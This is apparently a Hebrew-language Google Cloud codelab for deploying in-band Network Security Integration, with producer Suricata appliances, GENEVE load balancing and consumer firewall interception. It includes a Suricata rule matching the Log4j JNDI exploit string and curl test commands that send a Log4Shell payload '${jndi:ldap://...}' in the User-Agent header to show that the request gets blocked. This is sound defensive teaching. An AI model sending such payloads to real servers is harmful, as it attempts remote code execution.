1. מבוא
Network Security Integration
Network Security Integration (NSI) מציע גמישות לשיפור אבטחת הרשת של עומסי העבודה. אפשר להשתמש במכשיר ייעודי מספק תוכנה עצמאי (ISV) מצד שלישי, או במנוע לבדיקת מנות עמוקה (DPI) כדי לבדוק את המטען הייעודי. כדי לאפשר שילוב חלק עם מכשירי צד שלישי כאלה, Google Cloud מאפשרת לפרוס מכשירים בצורה שקופה בלי לבצע שינויים ברשת או בניתוב.
ב-Google Cloud יש שני סוגים של Network Security Integration – מחוץ לפס ובתוך הפס. בשיעור Lab הזה נסביר איך פורסים את Network Security Integration בתוך הפס.
Network Security Integration בתוך הפס
Network Security Integration מספק שילוב בתוך הפס באמצעות טכנולוגיית יירוט חבילות הנתונים, שמאפשרת לכם להציב מכשירי רשת של צד שלישי בנתיב של תעבורת הנתונים ברשת כדי לבדוק באופן שקוף את עומסי העבודה ב-Google Cloud. התהליך הזה משתמש ב-Generic Network Virtualization Encapsulation (GENEVE) כדי להעביר חבילות נתונים למכשיר בצורה מאובטחת, בלי לשנות את כתובות ה-IP המקוריות של המקור והיעד.
שילוב בתוך פס התדרים מציע גישה ממוקדת-שירות לפריסה ולשימוש במכשירים מוטמעים של צד שלישי ברשת במצב 'התנגשות בחוט'. בתור בעלים של שירות מנוהל, אתם יכולים לפרסם קבוצה ניתנת להרחבה של מכשירי רשת של צד שלישי כפריסת יירוט. כצרכן השירות, אתם יכולים להשתמש במדיניות ובכללים של Cloud Next Generation Firewall כדי לבחור תעבורת נתונים בצורה מדויקת ולהפנות אותה באופן שקוף לנקודת קצה מקומית ליירוט לצורך בדיקה.

איור 1. ארכיטקטורת פריסה ברמה גבוהה של שירות שילוב בתוך פס
מידע נוסף על שילוב NSI בתוך פס התדרים זמין במאמר בנושא שילוב בתוך פס התדרים – סקירה כללית.
בעלים של שירות מנוהל בתוך הרשת
במפיקי השירותים מתבצע הפריסה והניהול של מכשירי צד שלישי. מישהו בארגון (צוות האבטחה וכו') או ספק חיצוני יכולים לנהל את זה. מפיקים רושמים את המכונות הווירטואליות שלהם, שיכולות להיות מכשירי צד שלישי, כשרתי קצה עורפיים למאזן עומסי רשת פנימי של רשת מעבר ב-רשת VPC שלהם. הציוד הזה בודק את התנועה ברשת שמופנית אליו. לאחר מכן, בעלים של שירות מנוהל יוצרים פריסות של Intercept, משאב של תחום מוגדר שמפנה לכלל ההעברה של מאזן עומסי הרשת הפנימי להעברת סיגנל ללא שינוי.
פריסת יירוט היא משאב של תחום מוגדר שמייצג את שירות הבדיקה של היצרן באזור ספציפי. מפיקים יוצרים פריסות של יירוט לכל אזור שבו הם פרסו את המכונות הווירטואליות שלהם.
קבוצת פריסה של יירוט היא משאב גלובלי בהיקף הפרויקט, שמאפשר לצרכנים להתחבר לשירותי הבדיקה של היצרן. מפיקים יוצרים קבוצת פריסה של חסימות כדי לקבץ כמה פריסות של חסימות אזוריות. מפיקים משתמשים ב-IAM כדי לקבוע אילו צרכנים יכולים להתחבר לקבוצת הפריסה שלהם.
מידע נוסף זמין במאמרים סקירה כללית על קבוצות פריסה של перехват וסקירה כללית על פריסות של перехват.
In-band Service Consumer
צרכני השירות משתמשים בשירותי הבדיקה שמציעים הבעלים. הצרכנים מציינים אילו רשתות VPC הם רוצים לבדוק ומאיזה יצרן. כדי לעשות את זה, הצרכנים יוצרים קבוצת נקודות קצה ליירוט, משאב גלובלי שמייצג את הצד שלהם ביחסים בין היצרן לצרכן, ומקשרים את קבוצת נקודות הקצה ליירוט לקבוצת הפריסה ליירוט של היצרן.
כדי לשייך את קבוצת נקודות הקצה של היירוט ל-VPC שמהם הם רוצים לבדוק את תעבורת הנתונים, הצרכנים יוצרים שיוך של קבוצת נקודות קצה של היירוט. כדי לבחור את תעבורת הנתונים שצריך לשלוח ליצרן לבדיקה, הצרכנים יוצרים ומשתמשים במדיניות חומת אש בין רשתות. הצרכנים יוצרים קבוצת פרופילי אבטחה שמכילה פרופיל אבטחה שמפנה לקבוצת נקודות הקצה שלהם ליירוט. לאחר מכן, הצרכנים יוצרים כלל חומת אש כדי להפנות תנועה שתואמת לקריטריונים ספציפיים למכשירי היצרן.
למרות שקבוצת נקודות הקצה ליירוט(IEG) היא משאב ברמת הפרויקט, קבוצת נקודות הקצה ליירוט והשיוך שלה לא חייבים להיות באותו פרויקט. אפשר להפנות אל IEG באמצעות שיוך IEG מפרויקטים אחרים בארגון. הוא מייצג את הצד של הצרכן ביחסים בין היצרן לצרכן. צרכנים יוצרים קבוצת נקודות קצה של יירוט כדי להשתמש בשירות הבדיקה של ספק. כל קבוצת נקודות קצה של יירוט בצד הצרכן משויכת לקבוצת פריסה אחת של יירוט בצד היצרן.
מידע נוסף מופיע במאמר סקירה כללית על קבוצות של נקודות קצה ועל שיוכים.
הצרכנים צריכים ליצור כלל במדיניות חומת האש כדי להפנות את תעבורת הנתונים לקבוצת נקודות הקצה שלהם ליירוט. הצרכנים יכולים לציין את קריטריוני ההתאמה בתוך כלל מדיניות חומת האש, וכך להגדיר איזה תעבורת נתונים תיבדק על ידי מכשירי היצרן.
הצרכנים יוצרים פרופיל אבטחה מותאם אישית של יירוט כדי לציין באיזו קבוצת נקודות קצה של יירוט צריך להשתמש כדי לבדוק את תעבורת הנתונים.
צרכנים יוצרים קבוצה של פרופילי אבטחה כדי להגדיר קבוצה של תכונות לבדיקת אבטחה שצריך להחיל על קבוצת משנה ספציפית של תעבורת נתונים. קבוצת פרופילים של אבטחה מכילה פרופיל אבטחה מותאם אישית אחד של יירוט.
מה תפַתחו

איור 2. ארכיטקטורת פריסה ברמה גבוהה ל-Codelab הזה
כדי לפשט את ה-Codelab הזה, תשתמשו בפרויקט יחיד ותיצרו שתי רשתות VPC, ותנהלו מספר משאבי רשת ואבטחה. בשיעור Lab זה נדגים איך פורסים שילוב של שירות רשת בתוך פס התדרים עם מכשיר של צד שלישי להוספת אבטחה שקופה.
הזרימות שייבדקו ייבחרו באמצעות פרמטרים תואמים של חומת האש ב-Cloud, כולל 5-tuple (כתובת IP של המקור, כתובת IP של היעד, פרוטוקול, יציאת המקור, יציאת היעד). כדי לפשט את שיעור ה-Lab הזה, תבדקו את כל תעבורת הנתונים היוצאת (egress) ביציאת TCP מספר 80.
היצרן יאפשר תעבורת נתונים נכנסת מכתובת ה-IP של שער תת-הרשת של ה-VPC של היצרן (10.0.0.1/32) לחבילות UDP עם יציאת יעד 6081 – היציאה הידועה של GENEVE.
מערכת הכללים של מדיניות חומת אש בין רשתות תיראה בסופו של דבר כמו הטבלה הבאה:
מדיניות רשת היוצרים:
עדיפות | כיוון | פרוטוקול | Target | מקור | יעד | יציאת יעד | פעולה |
100 | תעבורת נתונים נכנסת (Ingress) | הכול | הכול | בדיקות תקינות | הכול | הכול | אישור |
200 | תעבורת נתונים נכנסת (Ingress) | הכול | הכול | IAP | הכול | הכול | אישור |
300 | תעבורת נתונים נכנסת (Ingress) | UDP | הכול | 10.0.0.1/32 | הכול | 6081 | אישור |
המדיניות בנושא רשתות צרכניות:
עדיפות | כיוון | פרוטוקול | Target | מקור | יעד | יציאת יעד | פעולה |
200 | תעבורת נתונים נכנסת (Ingress) | TCP | הכול | IAP | הכול | 22 | אישור |
800 | תעבורת נתונים יוצאת (egress) | TCP | הכול | הכול | הכול | 80 | יירוט |
מה תלמדו
- איך פורסים את Network Security Integration בתוך פס התדרים
הדרישות
- הארגון והפרויקט ב-Google Cloud
- הרשאות IAM מתאימות
- ידע בפריסת מופעים ובהגדרת רכיבי רשת
- ידע בהגדרת חומת אש של מדיניות רשת
2. לפני שמתחילים
תפקידים והרשאות של IAM
כדי להשלים את ה-codelab בנושא שילוב אבטחת רשת בתוך פס התדרים (NSI), תצטרכו את תפקידי ה-IAM הבאים:
- אדמין רשתות ב-Compute (
roles/compute.networkAdmin): נדרש כדי ליצור ולנהל רשתות VPC, תת-רשתות, Cloud Routers, שערים של NAT ושירותי קצה עורפי של מאזן עומסים. - אדמין לענייני אבטחה ב-Compute (
roles/compute.securityAdmin): נדרש כדי ליצור, להגדיר ולשייך כללי מדיניות חומת אש וכללים גלובליים ברשת. - אדמין מכונות של Compute (
roles/compute.instanceAdmin.v1): נדרש לפריסה, ל-SSH ולמחיקה של מכשירי Suricata ומכונות וירטואליות לבדיקות צרכנים. - אדמין של פריסת חסימה (
roles/networksecurity.interceptDeploymentAdmin): משמש את המפיק ליצירה ולניהול של פריסות חסימה אזוריות ושל קבוצת הפריסה הגלובלית. - Intercept Endpoint Admin (
roles/networksecurity.interceptEndpointAdmin): משמש את הצרכן ליצירת קבוצות של נקודות קצה ליירוט ולשיוך שלהן לרשת ה-VPC שלו. - משתמש בפריסת יירוט (
roles/networksecurity.interceptDeploymentUser): נדרש בפרויקט של היצרן כדי להעניק לצרכן הרשאה להתחבר לקבוצת הפריסה של היצרן. - אדמין פרופיל אבטחה (
roles/networksecurity.securityProfileAdmin): נדרשת ברמת הארגון כדי ליצור ולנהל פרופילי אבטחה מותאמים אישית וקבוצות של פרופילי אבטחה. - אדמין של שימוש בשירות (
roles/serviceusage.serviceUsageAdmin): נדרש כדי להפעיל את ממשקי ה-APInetworksecurity.googleapis.comו-compute.googleapis.comשנדרשים לתכונות של NSI. - Project Viewer (
roles/viewer): נדרשת הרשאה זו כדי לאחזר את הגדרות הפרויקט ואת פרטי הארגון של ישויות האב של משתני הסביבה שמשמשים לאורך כל שיעור ה-Lab.
Google Cloud APIs
חשוב לוודא שממשקי Google Cloud API הנדרשים מופעלים בפרויקט.
מפעילים את ממשקי ה-API הנדרשים באמצעות הפקודות הבאות של gcloud ב-Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
יצירה או עדכון של משתנים
ב-Codelab הזה נעשה שימוש במשתנים כדי לעזור בהטמעה של הגדרות ב-Cloud Shell.gcloud
ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים לפי הצורך:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. פעולות של מפיקים
בקטע הזה נסביר על פריסת המפיק. הפעולה הזו כוללת פריסה של ה-VPC, של מכשיר וירטואלי של רשת צד שלישי ושל כל הרכיבים הרלוונטיים ל-Network Security Integration.
רכיבים של VPC ו-Cloud NAT
- יוצרים את ה-VPC ואת רשת המשנה:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- מקבלים את כתובת ה-IP של שער תת-הרשת לשימוש בכלל חומת האש:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- יוצרים מדיניות וכללים של חומת אש עבור ה-VPC של הספק. כללי חומת האש האלה יאפשרו תעבורת נתונים נכנסת לבדיקות תקינות, ל-IAP ול-NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- משייכים את ה-VPC של היצרן למדיניות חומת האש של הרשת:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- פורסים את Cloud Router ו-Cloud NAT עבור מכשיר וירטואלי של רשת (NVA) של צד שלישי כדי להוריד את החבילות והעדכונים הנדרשים:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
מכונות וירטואליות של צד שלישי
בשיעור ה-Lab הזה תפרסו את Suricata, שירות קוד פתוח לזיהוי איומים. לפקודה יש סקריפט הפעלה שיתקין ויגדיר את Suricata. יש גם iptables שמבצעים תרגום כתובות רשת של מקור (SNAT) ותרגום כתובות רשת של יעד (DNAT) כדי לטפל בחבילות GENEVE ולהגיב להן.
- פריסת NVA של צד שלישי באזור הראשון.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- פריסת NVA של צד שלישי באזור השני:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
רכיבים של מאזן עומסים של יצרן
- יוצרים בדיקת תקינות כללית שמשמשת לבדיקת הזמינות של מכשיר ה-NVA של צד שלישי:
gcloud compute health-checks create http nva-hc
- יוצרים קבוצה של מופעי מכונה לא מנוהלים בכל אזור:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- מוסיפים את המכונות לקבוצות של מכונות:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
כדי לוודא שקבוצות המופעים מכילות את המופעים שלכם, מריצים את הפקודות הבאות:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
פלט לדוגמה:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- יוצרים שירות לקצה העורפי פנימי מסוג UDP:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- מוסיפים את שתי קבוצות המופעים לשירות ה-Backend:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- שמרו כתובות IP פנימיות לכללי ההעברה. כל הטמעה של חסימת תנועה מחייבת כלל העברה ייחודי:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- יוצרים את כלל ההעברה לכל אזור. הדבר נדרש כי הפריסה של ההודעה שמוצגת למשתמשים בזמן שהם מנסים לגשת לאתר דורשת כלל העברה ייחודי:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
רכיבי Network Security Integration
- יוצרים קבוצת פריסה של חסימת מודעות:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
מוודאים שקבוצת הפריסה נוצרה בהצלחה:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
פלט לדוגמה:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- יוצרים פריסת חסימה לכל אזור:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
מוודאים שהפריסות של ההפסקות נוצרו בהצלחה:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
פלט לדוגמה:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
סיימתם את ההגדרה בצד של היוצר. בשלב הבא, תגדירו את הצד של הצרכן כדי ליירט את התנועה ולשלוח אותה באופן שקוף למכשירי צד שלישי לצורך אכיפה.
4. פעולות של צרכנים
במעבדה הזו נעשה שימוש בעננים וירטואליים פרטיים (VPC) נפרדים בתוך פרויקט יחיד כדי לפשט את התהליך, אבל בסביבות אמיתיות, משאבי היצרן והצרכן יכולים להיות בפרויקטים שונים או אפילו בארגונים שונים.
רכיבים של VPC ו-Cloud NAT
- יוצרים את ה-VPC ואת רשת המשנה:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- יוצרים את Cloud Router ואת שער Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
יירו של קבוצת נקודות קצה ושיוך
- יצירת קבוצה של נקודות קצה ליירוט:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
אימות שנקודת הקצה נוצרה בהצלחה:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
פלט לדוגמה:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- יוצרים שיוך של קבוצת נקודות קצה ליירוט ומציינים את ה-VPC של הצרכן:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
אימות:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
פלט לדוגמה:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
פרופיל אבטחה וקבוצת פרופילי אבטחה
בשלב הבא יוצרים פרופיל אבטחה מותאם אישית ליירוט ומצרפים אותו לקבוצת פרופילי האבטחה. פרופיל האבטחה וקבוצת פרופילי האבטחה משמשים ליירוט מנות עבור מכשירי צד שלישי.
- יוצרים פרופיל אבטחה מותאם אישית לחסימת תנועה:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
מוודאים שפרופיל האבטחה נוצר בהצלחה:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
פלט לדוגמה:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- יוצרים קבוצת פרופילי אבטחה:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
מוודאים שקבוצת המיקוד נוצרה בהצלחה:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
פלט לדוגמה:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
מדיניות חומת אש, כללים ושיוך
- יוצרים מדיניות חומת אש גלובלית ברשת:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- יוצרים את הכללים לחומת האש:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- יוצרים את כלל חומת האש כדי ליירט את כל תעבורת הנתונים היוצאת באמצעות NSI, וכך לשלוח אותה באופן שקוף למכשיר של צד שלישי. הכלל הזה ישלח לבדיקה את כל תעבורת הנתונים היוצאת של TCP:80.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- משייכים את מדיניות חומת האש בענן לרשת ה-VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
מכונות VM לצרכנים
- פריסת מכונות וירטואליות שמשמשות לאימות NSI. תפרסו 3 מכונות וירטואליות ב-3 אזורים. זוכרים שרק ב-2 אזורים מופעל NSI, אבל לא ב-$zonec.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
בדיקה של Network Security Integration בתוך הלהקה
- מתחברים ב-SSH למכונה הווירטואלית ב- $zonea (consumer-$zonea). שליחת תנועת בדיקה:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- שליחת תנועת בדיקה אל http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
הפלט אמור להיראות כך:
200
קוד הסטטוס HTTP 200 מציין שהבקשה של הלקוח התקבלה, הובנה ועובדה על ידי השרת.
- שליחת בקשות log4j שצריכות להיחסם על ידי Suricata דרך NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
הפלט אמור להיראות כך:
000
קוד התגובה 000 HTTP הוא קוד לא רשמי ולא סטנדרטי שמשמש תוכנות מסוימות כדי לציין שלא התקבל קוד סטטוס של HTTP תקין. המשמעות היא שהבקשה נחסמה על ידי חומת האש.
- כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit
- התחברות למכונה וירטואלית ב-SSH באזור $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- באופן דומה, שולחים תנועת בדיקה:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
הפלט אמור להיראות כך:
200
- שליחת בקשת log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
הפלט אמור להיראות כך:
000
- כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit
